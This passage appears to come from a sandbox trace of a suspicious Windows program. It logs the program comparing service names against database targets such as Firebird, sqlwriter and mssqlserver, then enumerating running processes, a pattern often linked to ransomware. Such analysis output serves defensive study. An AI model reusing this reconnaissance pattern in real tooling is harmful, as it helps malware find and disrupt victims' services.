returned 7 [0116.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0116.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0116.601] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0116.601] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0116.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0116.602] lstrlenW (lpString="LSM") returned 3 [0116.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0116.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0116.602] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0116.602] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0116.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0116.602] lstrlenW (lpString="MpsSvc") returned 6 [0116.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0116.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0116.602] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0116.602] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0116.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0116.602] lstrlenW (lpString="NcbService") returned 10 [0116.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0116.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0116.602] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0116.602] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0116.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0116.602] lstrlenW (lpString="netprofm") returned 8 [0116.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0116.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0116.602] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0116.602] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0116.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0116.602] lstrlenW (lpString="NlaSvc") returned 6 [0116.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0116.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0116.602] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0116.602] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0116.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0116.602] lstrlenW (lpString="nsi") returned 3 [0116.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0116.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0116.603] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0116.603] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0116.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0116.603] lstrlenW (lpString="PcaSvc") returned 6 [0116.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0116.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0116.603] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0116.603] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0116.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0116.603] lstrlenW (lpString="PlugPlay") returned 8 [0116.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0116.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0116.603] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0116.653] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0116.653] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0116.653] lstrlenW (lpString="Power") returned 5 [0116.653] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0116.653] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0116.654] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0116.654] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0116.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0116.654] lstrlenW (lpString="ProfSvc") returned 7 [0116.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0116.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0116.654] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0116.654] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0116.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0116.654] lstrlenW (lpString="RpcEptMapper") returned 12 [0116.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0116.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0116.654] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0116.654] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0116.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0116.654] lstrlenW (lpString="RpcSs") returned 5 [0116.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0116.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0116.654] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0116.654] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0116.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0116.654] lstrlenW (lpString="SamSs") returned 5 [0116.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0116.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0116.654] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0116.654] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0116.654] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0116.654] lstrlenW (lpString="Schedule") returned 8 [0116.654] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0116.654] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0116.655] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0116.655] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0116.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0116.655] lstrlenW (lpString="SecurityHealthService") returned 21 [0116.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0116.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0116.655] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0116.655] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0116.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0116.655] lstrlenW (lpString="SENS") returned 4 [0116.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0116.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0116.655] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0116.655] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0116.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0116.655] lstrlenW (lpString="ShellHWDetection") returned 16 [0116.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0116.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0116.655] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0116.655] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0116.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0116.655] lstrlenW (lpString="Spooler") returned 7 [0116.655] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0116.655] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0116.655] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0116.655] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0116.655] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0116.655] lstrlenW (lpString="sppsvc") returned 6 [0116.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0116.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0116.656] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0116.656] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0116.656] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0116.656] lstrlenW (lpString="SSDPSRV") returned 7 [0116.656] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0116.656] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0116.656] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0116.656] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0116.656] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x617720 | out: hHeap=0x5c0000) returned 1 [0116.656] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x388 [0116.661] Process32FirstW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0116.662] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0116.663] lstrlenW (lpString="System") returned 6 [0116.663] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0116.664] lstrlenW (lpString="smss.exe") returned 8 [0116.664] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0116.665] lstrlenW (lpString="csrss.exe") returned 9 [0116.665] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0116.665] lstrlenW (lpString="wininit.exe") returned 11 [0116.665] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0116.666] lstrlenW (lpString="csrss.exe") returned 9 [0116.666] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0116.667] lstrlenW (lpString="winlogon.exe") returned 12 [0116.667] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0116.667] lstrlenW (lpString="services.exe") returned 12 [0116.667] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0116.668] lstrlenW (lpString="lsass.exe") returned 9 [0116.668] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.669] lstrlenW (lpString="svchost.exe") returned 11 [0116.669] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0116.669] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0116.669] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0116.670] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0116.670] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.671] lstrlenW (lpString="svchost.exe") returned 11 [0116.671] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0116.672] lstrlenW (lpString="dwm.exe") returned 7 [0116.672] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.673] lstrlenW (lpString="svchost.exe") returned 11 [0116.673] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.674] lstrlenW (lpString="svchost.exe") returned 11 [0116.674] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.675] lstrlenW (lpString="svchost.exe") returned 11 [0116.675] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.676] lstrlenW (lpString="svchost.exe") returned 11 [0116.676] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.677] lstrlenW (lpString="svchost.exe") returned 11 [0116.677] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.677] lstrlenW (lpString="svchost.exe") returned 11 [0116.678] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.681] lstrlenW (lpString="svchost.exe") returned 11 [0116.681] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.682] lstrlenW (lpString="svchost.exe") returned 11 [0116.682] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.683] lstrlenW (lpString="svchost.exe") returned 11 [0116.683] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0116.683] lstrlenW (lpString="spoolsv.exe") returned 11 [0116.683] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.684] lstrlenW (lpString="svchost.exe") returned 11 [0116.684] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.685] lstrlenW (lpString="svchost.exe") returned 11 [0116.685] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0116.685] lstrlenW (lpString="audiodg.exe") returned 11 [0116.686] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0116.686] lstrlenW (lpString="sihost.exe") returned 10 [0116.686] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.687] lstrlenW (lpString="svchost.exe") returned 11 [0116.687] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0116.688] lstrlenW (lpString="taskhostw.exe") returned 13 [0116.688] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0116.689] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0116.689] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0116.690] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0116.690] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0116.691] lstrlenW (lpString="explorer.exe") returned 12 [0116.691] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0116.692] lstrlenW (lpString="Memory Compression") returned 18 [0116.692] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0116.692] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0116.693] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0116.737] lstrlenW (lpString="SearchUI.exe") returned 12 [0116.737] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0116.738] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0116.738] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0116.739] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0116.739] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0116.740] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0116.740] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0116.741] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0116.741] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfdc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0116.742] lstrlenW (lpString="conhost.exe") returned 11 [0116.742] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace-subdivision.exe")) returned 1 [0116.743] lstrlenW (lpString="screensaver-fireplace-subdivision.exe") returned 37 [0116.743] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upper arc.exe")) returned 1 [0116.746] lstrlenW (lpString="upper arc.exe") returned 13 [0116.746] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying-defeat-preston.exe")) returned 1 [0116.747] lstrlenW (lpString="buying-defeat-preston.exe") returned 25 [0116.749] Process32NextW (in: hSnapshot=0x388, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolated-concerned.exe")) returned 1 [0116.750] lstrlenW 